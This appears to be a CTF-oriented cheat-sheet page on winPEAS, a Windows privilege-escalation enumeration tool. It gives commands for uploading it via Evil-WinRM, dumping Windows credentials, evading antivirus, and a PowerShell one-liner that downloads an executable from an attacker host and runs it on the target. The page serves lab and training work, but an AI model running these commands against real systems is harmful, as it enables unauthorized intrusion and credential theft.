winPEAS
winPEAS is the Windows sibling of linPEAS. If antivirus deletes the .exe, try the .bat version or run only the modules you care about to make less noise.
- Platform
- Windows (.exe, .bat, .ps1)
- Official site
- github.com/peass-ng/PEASS-ng
- On HTB
- 6 machines
Install
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe- T1574.010 Services File Permissions Weakness
- T1552.002 Credentials in Registry
- T1218.007 Msiexec
- T1134.001 Token Impersonation/Theft
- T1574.001 DLL
- Misconfigured services
- Credentials in the registry and history
- AlwaysInstallElevated
- SeImpersonate / Potatoes
- DLL hijacking
winPEAS cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Usage
Upload it with Evil-WinRM
Target
upload winPEASx64.exe
Services only (less noise)
Target
.\winPEASx64.exe quiet servicesinfo
Windows credentials only
Target
.\winPEASx64.exe quiet windowscreds
If antivirus deletes the .exe: .bat version
Target
.\winPEAS.batIn our cheatsheets
Windows and Active Directory privilege escalation › Windows
winPEAS
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exeNo command matches.
HTB machines where winPEAS is used
Taken from the chapters of IppSec videos where winPEAS shows up. The ▶ link jumps to the minute of that part.
Guides that use winPEAS
- Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated 4 min read Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.